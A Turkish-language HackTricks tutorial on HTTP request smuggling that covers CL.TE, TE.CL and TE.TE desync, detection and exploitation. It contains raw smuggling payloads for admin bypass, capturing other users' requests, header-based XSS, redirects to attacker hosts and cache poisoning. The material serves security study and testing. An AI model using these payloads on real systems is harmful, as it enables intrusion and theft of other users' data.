# HTTP İstek Kaçırma / HTTP Desenk Atağı

<details>

<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>

HackTricks'ı desteklemenin diğer yolları:

* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.

</details>

## Nedir

Bu zayıflık, **ön uç proxy'ler** ile **arka uç** sunucu arasındaki **desenkronizasyonun**, bir **saldırganın** bir HTTP **istek**ini **ön uç** proxy'ler (yük dengeleyici/ters proxy) tarafından **tek bir istek** olarak **yorumlanmasına** ve **arka uç** sunucu tarafından **2 istek** olarak **yorumlanmasına** izin vermesi durumunda ortaya çıkar.\
Bu, bir kullanıcının, **kendisinden sonraki arka uç sunucuya gelen bir sonraki isteği değiştirmesine** olanak tanır.

### Teori

[**RFC Belirtimi (2161)**](https://tools.ietf.org/html/rfc2616)

> Bir mesaj, Hem Bir Transfer-Encoding başlık alanı hem de Bir Content-Length başlık alanı ile alınırsa, ikincisi YOK SAYILMALIDIR.

**Content-Length**

> Content-Length varlık başlık alanı, alıcıya gönderilen varlık gövdesinin bayt cinsinden boyutunu belirtir.

**Transfer-Encoding: chunked**

> Transfer-Encoding başlığı, yük gövdesini güvenli bir şekilde kullanıcıya aktarmak için kullanılan kodlama biçimini belirtir.\
> Chunked, büyük verilerin parçalar halinde gönderildiği anlamına gelir

### Gerçeklik

**Ön Uç** (yük dengeleyici / Ters Proxy) _**content-length**_ veya _**transfer-encoding**_ başlığını işlerken **Arka Uç** sunucu **diğerini işler** ve bu, 2 sistem arasında bir **desenkronizasyona** neden olur.\
Bu, **bir saldırganın ön uç proxy'ye bir istek gönderebileceği** ve bu isteğin **ön uç** sunucu tarafından **2 farklı istek** olarak **yorumlanacağı** anlamına gelir. Bu teknik **tehlikeli** olabilir çünkü **arka uç** sunucu, **enjekte edilen 2. isteği** sanki **bir sonraki istemciden geldi** gibi **yorumlayacak** ve o istemcinin **gerçek isteği**, o istemcinin **enjekte edilen isteğin bir parçası** olacaktır.

### Özellikler

HTTP'de **bir yeni satır karakterinin 2 bayttan oluştuğunu** unutmayın:

* **Content-Length**: Bu başlık, isteğin **gövdesinin** bayt cinsinden **boyutunu** belirtmek için **ondalık sayı** kullanır. Gövde, son karakterde **bitmesi beklenir, isteğin sonunda yeni bir satıra gerek yoktur**.
* **Transfer-Encoding:** Bu başlık, **hexadecimal sayı** kullanarak **bir sonraki parçanın** **bayt sayısını** belirtmek için **gövdede** kullanılır. **Parça**, bir **yeni satır** ile **bitmelidir** ancak bu yeni satır **uzunluk göstergesi tarafından sayılmaz**. Bu aktarım yöntemi, **0 boyutunda bir parça ile bitirilmelidir ve ardından 2 yeni satır izlemelidir**: `0`
* **Connection**: Deneyimime dayanarak, İstek Kaçırma'nın ilk isteğinde **`Connection: keep-alive`** kullanılması önerilir.

## Temel Örnekler

{% hint style="success" %}
Bu, Burp Suite ile bunu sömürmeye çalışırken **Tekrarlayıcı'da `İçeriği Güncelle` ve `HTTP/1 satır sonlarını Normalize Et`'yi devre dışı bırakın** çünkü bazı cihazlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.
{% endhint %}

HTTP istek kaçırma saldırıları, ön uç ve arka uç sunucuların `Content-Length` (CL) ve `Transfer-Encoding` (TE) başlıklarını nasıl yorumladığındaki farklılıkları sömüren belirsiz istekler gönderilerek oluşturulur. Bu saldırılar, başlıca **CL.TE**, **TE.CL** ve **TE.TE** olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucuların bu başlıklara öncelik verme şeklinin benzersiz bir kombinasyonunu temsil eder. Zayıflıklar, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmeyen ve potansiyel olarak kötü niyetli sonuçlara yol açabilir.

### Zayıflık Türlerinin Temel Örnekleri

![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)

#### CL.TE Zayıflığı (Ön Uç tarafından Content-Length kullanılırken, Arka Uç tarafından Transfer-Encoding kullanılır)

* **Ön Uç (CL):** İsteği `Content-Length` başlığına dayanarak işler.
* **Arka Uç (TE):** İsteği `Transfer-Encoding` başlığına dayanarak işler.
* **Saldırı Senaryosu:**
* Saldırgan, `Content-Length` başlığının değeri gerçek içerik uzunluğuyla eşleşmeyen bir istek gönderir.
* Ön uç sunucu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
* Arka uç sunucu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği parçalı olarak işler ve kalan verileri ayrı, ardışık bir istek olarak yorumlar.
*   **Örnek:**

```
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x
```

#### TE.CL Zayıflığı (Ön Uç tarafından Transfer-Encoding kullanılırken, Arka Uç tarafından Content-Length kullanılır)

* **Ön Uç (TE):** İsteği `Transfer-Encoding` başlığına dayanarak işler.
* **Arka Uç (CL):** İsteği `Content-Length` başlığına dayanarak işler.
* **Saldırı Senaryosu:**
* Saldırgan, parçalı bir istek gönderir, parça boyutu (`7b`) ve gerçek içerik uzunluğu (`Content-Length: 4`) eşleşmez.
* Ön uç sunucu, `Transfer-Encoding`i onaylayarak tüm isteği arka uca iletir.
* Arka uç sunucu, `Content-Length`i saygı göstererek, isteğin yalnızca başlangıç kısmını (`7b` bayt) işler ve geri kalanı istenmeyen bir sonraki isteğin bir parçası olarak bırakır.
*   **Örnek:**

```
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: zafiyetli-web sitesi.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

```
#### TE.TE Zafiyeti (Her ikisi de tarafından kullanılan Transfer-Encoding ile obfuskasyon)

- **Sunucular:** Her ikisi de `Transfer-Encoding`'i destekler, ancak obfuskasyon aracılığıyla birinin bunu görmezden gelmesi sağlanabilir.
- **Saldırı Senaryosu:**
  - Saldırgan, obfuskasyonlu `Transfer-Encoding` başlıklarını içeren bir istek gönderir.
  - Obfuskasyonun hangi sunucunun (ön uç veya arka uç) tanımadığına bağlı olarak CL.TE veya TE.CL zafiyeti sömürülebilir.
  - İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğü şekilde bir sonraki isteğin bir parçası haline gelerek smuggling'e yol açar.
-   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

#### **CL.CL Senaryosu (Her İki Ön Uç ve Arka Uç Tarafından Kullanılan Content-Length):**

- Her iki sunucu da isteği yalnızca `Content-Length` başlığına dayanarak işler.
- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun isteğin uzunluğunu nasıl yorumladığı konusunda uyum vardır.
-   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal İstek
```

#### **CL != 0 Senaryosu:**

- `Content-Length` başlığının var olduğu ve sıfır olmayan bir değere sahip olduğu senaryoları ifade eder, bu da istek gövdesinin içeriğe sahip olduğunu gösterir.
- Smuggling saldırılarını anlamak ve oluşturmak için önemlidir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
-   **Örnek:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Boş Olmayan Gövde
```

#### Web sunucusunu kırma

Bu teknik ayrıca, **bağlantıyı kapatmadan web sunucusunu okurken** **kırabileceğiniz senaryolarda da kullanışlıdır**. Bu şekilde, HTTP isteğinin **gövdesi bir sonraki HTTP isteği** olarak kabul edilecektir.

Örneğin, [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, Werkzeug'de bazı **Unicode** karakterleri göndermek ve sunucuyu **kırmak** mümkündü. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık olacak, bu nedenle isteğin **gövdesi bir sonraki HTTP isteği** olarak işleme alınacaktır.

#### Hop-by-hop başlıklar aracılığıyla zorlama

Hop-by-hop başlıkları kötüye kullanarak proxy'e **Content-Length veya Transfer-Encoding başlığını silmesini işaret edebilir ve böylece bir HTTP isteği smuggling'i kötüye kullanılabilir**.
```
Connection: Content-Length
```
## HTTP İsteği Kaçırma Bulma

HTTP isteği kaçırma açıklarını belirlemek genellikle zamanlama teknikleri kullanılarak başarılabilir, bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanmaktadır. Bu teknikler, CL.TE ve TE.CL açıklarını tespit etmek için özellikle yararlıdır. Bu yöntemlerin yanı sıra, bu tür açıkları bulmak için kullanılabilecek diğer stratejiler ve araçlar bulunmaktadır:

### Zamanlama Teknikleri Kullanarak CL.TE Açıklarını Bulma

* **Yöntem:**
* Uygulama açıksa, sunucunun ek verileri beklemesine neden olacak bir istek gönderin.
*   **Örnek:**

```
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```
* **Gözlem:**
* Ön uç sunucusu isteği `Content-Length`'e göre işler ve mesajı erken keser.
* Bekleyen arka uç sunucusu, bir sonraki parçayı beklerken, asla gelmeyen bir parça nedeniyle gecikme yaşar.
* **Belirtiler:**
* Yanıtta zaman aşımı veya uzun gecikmeler.
* Arka uç sunucudan 400 Bad Request hatası almak, bazen detaylı sunucu bilgileriyle birlikte.

### Zamanlama Teknikleri Kullanarak TE.CL Açıklarını Bulma

* **Yöntem:**
* Uygulama açıksa, sunucunun ek verileri beklemesine neden olacak bir istek gönderin.
*   **Örnek:**

```
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```
* **Gözlem:**
* Ön uç sunucusu isteği `Transfer-Encoding`'e göre işler ve tüm mesajı iletilir.
* Bekleyen arka uç sunucusu, `Content-Length`'e dayalı bir mesaj beklerken, asla gelmeyen ek verileri bekler ve gecikmeye neden olur.

### Açıkları Bulmak İçin Diğer Yöntemler

* **Farklı Yanıt Analizi:**
* Bir isteğin hafif değişik versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklılaşıp farklılaşmadığını gözlemleyin, bu durum bir ayrıştırma uyumsuzluğunu gösterebilir.
* **Otomatik Araçlar Kullanma:**
* Burp Suite'in 'HTTP Request Smuggler' uzantısı gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu açıkları otomatik olarak test edebilir.
* **Content-Length Farklılık Testleri:**
* Gerçek içerik uzunluğuyla hizalanmayan değişen `Content-Length` değerleri içeren istekler gönderin ve sunucunun bu tür uyumsuzlukları nasıl işlediğini gözlemleyin.
* **Transfer-Encoding Farklılık Testleri:**
* Karışık veya hatalı `Transfer-Encoding` başlıkları içeren istekler gönderin ve ön uç ve arka uç sunucularının bu manipülasyonlara nasıl farklı yanıt verdiğini izleyin.

### HTTP İsteği Kaçırma Açıklığı Test Etme

Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak hayati önem taşır. Basit bir yöntem, örneğin, `/`'ye bir istek göndererek 404 yanıtı almayı denemektir. [Temel Örnekler](./#basic-examples) bölümünde önceki CL.TE ve TE.CL örnekleri, istemcinin farklı bir kaynağa erişmeyi amaçlasa da istemcinin isteğini 404 yanıtı alacak şekilde zehirlemeyi nasıl gösterdiğini açıklamaktadır.

**Ana Düşünceler**

Diğer isteklerle müdahale ederek istek kaçırma açıklarını test ederken aşağıdakileri göz önünde bulundurun:

* **Farklı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her ikisi için aynı bağlantıyı kullanmak, açığın varlığını doğrulamaz.
* **Düzenli URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle URL ve parametrelere dayalı olarak belirli arka uç sunucularına istek yönlendirir. Bu eşleştirmeleri kullanmak, her iki isteğin aynı sunucu tarafından işlenme olasılığını artırır, başarılı bir saldırı için gereklidir.
* **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmeyi amaçlar ve diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin bir açık doğrulaması için birden fazla deneme gerektirebilir.
* **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse, saldırı başarılı olmaz. Bu yük dengeleme yönü, bir açığı doğrulamak için birkaç deneme gerektirebilir.
* **Beklenmeyen Kullanıcı Etkisi:** Saldırınızın yanlışlıkla başka bir kullanıcının isteğini etkilediğini fark ederseniz (tespit için gönderdiğiniz "normal" istek değil), bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli testler diğer kullanıcıları etkileyebilir, bu nedenle dikkatli bir yaklaşım gerektirebilir.

## HTTP İsteği Kaçırma Kötüye Kullanma

### HTTP İsteği Kaçırma Yoluyla Ön Uç Güvenliğini Atlatma

Bazı durumlarda, ön uç proxy'ler gelen istekleri inceleyerek güvenlik önlemleri uygular. Bununla birlikte, bu önlemler, HTTP İsteği Kaçırma'yı kullanarak atlanabilir, kısıtlanmış uç noktalara izinsiz erişime izin vererek önemli bir güvenlik açığı oluşturabilir. Örneğin, `/admin`'e erişim dışarıdan engellenmiş olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Bununla birlikte, bu proxy, kaçırılmış bir HTTP isteği içinde gömülü istekleri incelemeyi ihmal edebilir, bu da bu kısıtlamaları atlamak için bir açık bırakabilir.

Ön uç proxy'nin genellikle koruduğu `/admin` yolunu hedefleyen ön uç güvenlik kontrollerini atlamak için HTTP İsteği Kaçırma'nın nasıl kullanılabileceğini gösteren aşağıdaki örnekleri düşünün:

**CL.TE Örneği**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```
CL.TE saldırısında, başlangıç isteği için `Content-Length` başlığı kullanılırken, ardışık gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy'si başlangıçtaki `POST` isteğini işler ancak gömülü `GET /admin` isteğini inceleyemez, bu da `/admin` yoluna izinsiz erişime izin verir.

**TE.CL Örneği**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

```
Benzer şekilde, TE.CL saldırısında, ilk `POST` isteği `Transfer-Encoding: chunked` kullanır ve ardışık gömülü istek, `Content-Length` başlığına dayalı olarak işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy, gizlice `/admin` yoluna erişim sağlayarak, gizlenmiş `GET /admin` isteğini göz ardı eder.

### Ön uç isteği yeniden yazma ortaya çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

Uygulamalar genellikle gelen istekleri değiştirmek için bir **ön uç sunucusu** kullanır ve ardından bunları arka uç sunucusuna iletmektedir. Tipik bir değişiklik, `X-Forwarded-For: <İstemcinin IP'si>` gibi başlıklar eklemeyi içerir, böylece istemcinin IP'sinin arka uca iletilebilir. Bu değişikliklerin anlaşılması önemli olabilir, çünkü bu, **korumaları atlamak** veya **gizli bilgileri veya uç noktaları ortaya çıkarmak** için yolları ortaya çıkarabilir.

Bir proxy'nin bir isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıtta yankılanan bir POST parametresi bulun. Daha sonra, bu parametreyi sona ekleyerek aşağıdaki gibi benzer bir istek oluşturun:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=
```
Bu yapıda, ardışık istek bileşenleri, yanıtta yansıtılan parametre olan `search=`'den sonra eklenir. Bu yansıma, ardışık isteğin başlıklarını ortaya çıkaracaktır.

Gömülü isteğin `Content-Length` başlığını gerçek içerik uzunluğuyla hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir, çünkü çok düşük bir değer yansıtılan verileri kesebilirken çok yüksek bir değer isteğin hata vermesine neden olabilir.

Bu teknik aynı zamanda bir TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlandırılmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.

Bu yöntem, öncelikle ön uç proxy tarafından yapılan istek değişikliklerini anlamak için hizmet verir, esasen kendini yönlendiren bir araştırma gerçekleştirir.

### Diğer kullanıcıların isteklerini yakalama <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek, bir sonraki kullanıcının isteklerini yakalamak mümkündür. İşte bunun nasıl başarılacağı:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Bu senaryoda, **yorum parametresi**, genel olarak erişilebilir bir sayfadaki bir gönderinin yorum bölümündeki içeriği depolamak amacıyla kullanılır. Sonuç olarak, ardışık isteğin içeriği bir yorum olarak görünecektir.

Ancak, bu teknik bazı sınırlamalara sahiptir. Genellikle, sızdırılan istekte kullanılan parametre ayırıcısına kadar yalnızca verileri yakalar. URL kodlu form gönderimleri için bu ayırıcı, `&` karakteridir. Bu, kurban kullanıcının isteğinden yakalanan içeriğin ilk `&` karakterinde duracağı anlamına gelir, hatta sorgu dizesinin bir parçası olabilir.

Ayrıca, bu yaklaşımın TE.CL zafiyeti ile de geçerli olduğunu belirtmek önemlidir. Bu tür durumlarda, istek `search=\r\n0` ile sonuçlanmalıdır. Yeni satır karakterlerine bakılmaksızın, değerler arama parametresine eklenecektir.

### Yansıtılan XSS'i sömürmek için HTTP isteği kaçırma kullanımı

HTTP İstek Kaçırma, yansıtılan XSS'ye duyarlı web sayfalarını sömürmek için kullanılabilir ve önemli avantajlar sunar:

* Hedef kullanıcılarla etkileşim **gerektirmez**.
* Genellikle ulaşılamayan istek bölümlerindeki XSS'in sömürülmesine **izin verir**, örneğin HTTP istek başlıkları.

Kullanıcı-Ajanı başlığı aracılığıyla Yansıtılan XSS'ye duyarlı bir web sitesinin olduğu senaryolarda, aşağıdaki yük, bu zafiyetin nasıl sömürüleceğini göstermektedir:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```
Bu yük, zafiyeti sömürmek için yapılandırılmıştır:

1. `Transfer-Encoding: chunked` başlığı ile başlayan, görünüşte tipik bir `POST` isteği başlatma, böylece kaçakçılığın başlangıcını belirtir.
2. Chunked mesaj gövdesinin sonunu işaretleyen `0` ile devam etme.
3. Ardından, kaçakçılık yapılmış bir `GET` isteği tanıtılır, burada `User-Agent` başlığına `<script>alert(1)</script>` betiği enjekte edilir ve sunucu bu sonraki isteği işlediğinde XSS tetiklenir.

`User-Agent`'ı kaçakçılık yoluyla manipüle ederek, yük normal istek kısıtlamalarını atlayarak, Reflected XSS zafiyetini standart olmayan ancak etkili bir şekilde sömürür.

#### HTTP/0.9

{% hint style="danger" %}
Kullanıcı içeriğinin **`text/plain`** gibi bir **`Content-type`** ile yansıtıldığı bir yanıtta XSS'in yürütülmesini engelleyebilir. Sunucu **HTTP/0.9'u destekliyorsa bu** geçilebilir olabilir!
{% endhint %}

HTTP/0.9 sürümü, önceki 1.0'dan önce gelir ve yalnızca **GET** fiillerini kullanır ve **başlıklarla yanıt vermez**, yalnızca gövdeyi verir.

[**Bu yazıda**](https://mizu.re/post/twisty-python), bu, bir istek kaçakçılığı ve **kullanıcının girişini yanıtlayacak bir zafiyetli uç nokta** ile kötüye kullanıldı, böylece HTTP/0.9 ile kaçakçılık yapmak için bir istek kaçakçılığı yapıldı. Yanıtta yansıtılacak parametre, **sahte HTTP/1.1 yanıtı (başlıklar ve gövde ile)** içeriyordu, böylece yanıt, `text/html` `Content-Type`'ı olan geçerli yürütülebilir JS kodunu içerecektir.

### HTTP İsteği Kaçakçılığı ile Site İçi Yönlendirmelerin Sömürülmesi <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

Uygulamalar genellikle, yönlendirme URL'sindeki `Host` başlığından gelen ana bilgisayar adını kullanarak bir URL'den başka bir URL'ye yönlendirme yapar. Bu, Apache ve IIS gibi web sunucularıyla yaygındır. Örneğin, bir eğik çizgi olmadan bir klasör istemek, eğik çizgi içeren bir yönlendirmeye neden olur:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Sonuçlar:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Bu davranış, HTTP isteği kaçırma kullanılarak kullanıcıların harici bir siteye yönlendirilmesi için manipüle edilebilir. Örneğin:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Bu kaçak istek, işlenen sonraki kullanıcı isteğinin bir saldırgan tarafından kontrol edilen bir web sitesine yönlendirilmesine neden olabilir:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Sonuçlar:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçirilir. Saldırgan, yanıt olarak kötü amaçlı JavaScript sunarak kullanıcının tehlikeye girmesine neden olabilir.

### HTTP İsteği Kaçırma Yoluyla Web Önbellek Zehirlenmesi Sömürme <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

Web önbellek zehirlenmesi, genellikle performansı artırmak amacıyla içeriği önbelleğe alan **ön uç altyapısının herhangi bir bileşeni** tarafından gerçekleştirilebilir. Sunucunun yanıtını manipüle ederek, **önbelleği zehirlemek** mümkündür.

Daha önce, sunucu yanıtlarının nasıl değiştirilebileceğini ve 404 hatası döndürülebileceğini gözlemledik (bkz. [Temel Örnekler](./#basic-examples)). Benzer şekilde, sunucuyu, `/static/include.js` isteği için `/index.html` içeriğini döndürmeye kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği, `/index.html`'in içeriğiyle önbellekte değiştirilir ve kullanıcılara erişilemez hale gelir, bu da Hizmet Reddine (DoS) yol açabilir.

Bu teknik, bir **Açık Yönlendirme açığı** keşfedilirse veya bir **açık yönlendirmeye yönlendirme** varsa özellikle etkili hale gelir. Bu tür zafiyetler, `/static/include.js`'in önbelleğindeki içeriği saldırganın kontrolündeki bir betikle değiştirmek için sömürülebilir ve temelde güncellenmiş `/static/include.js` isteyen tüm istemcilere karşı yaygın bir Çapraz Site Betimlemesi (XSS) saldırısını etkinleştirir.

Aşağıda, **ön uç yönlendirmesi ile açık yönlendirmeyi birleştirerek önbellek zehirlenmesini sömürme**nin bir örneği verilmiştir. Amaç, `/static/include.js` önbellek içeriğini saldırganın kontrol ettiği JavaScript kodunu sunacak şekilde değiştirmektir:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```
Gömülü isteği `/post/next?postId=3` hedefleyen isteği dikkate alın. Bu istek, alan adını belirlemek için **Ana bilgisayar başlığı değerini** kullanarak `/post?postId=4`'e yönlendirilecektir. **Saldırgan**, isteği kendi alan adlarına yönlendirerek (**yerinde yönlendirme açık yönlendirmeye**) kullanabilir.

Başarılı **soket zehirlenmesi** sonrasında `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme açık yönlendirmeye** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen betiğin içeriğini getirecektir.

Ardından, `/static/include.js` için yapılan herhangi bir istek, saldırganın betiğinin önbelleğe alınmış içeriğini sunacak ve etkili bir XSS saldırısı başlatacaktır.

### Web önbellek aldatmacası gerçekleştirmek için HTTP isteği kaçırma <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

> **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?**
>
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler depolamasına neden olur ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> * **Web önbellek aldatmacasında**, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe almasına neden olur ve ardından bu içeriği önbellekten alır.

Saldırgan, hassas kullanıcıya özgü içeriği getiren kaçırılmış bir istek oluşturur. Aşağıdaki örneği göz önünde bulundurun:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Eğer bu kaçak istek önbelleği zehirlerse ve statik içerik için amaçlanan bir önbellek girişini zehirlerse (örneğin, `/someimage.png`), kurbanın hassas verileri `/private/messages` altında statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verileri geri alabilir.

### HTTP İsteği Kaçakçılığı Aracılığıyla TRACE Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) sunulduğu gibi, sunucunun TRACE yönteminin etkinleştirilmiş olması durumunda, bu yöntemi HTTP İsteği Kaçakçılığı ile kötüye kullanmak mümkün olabilir. Bu, çünkü bu yöntem, sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtacaktır. Örneğin:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Aşağıdaki gibi bir yanıt gönderecektir:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
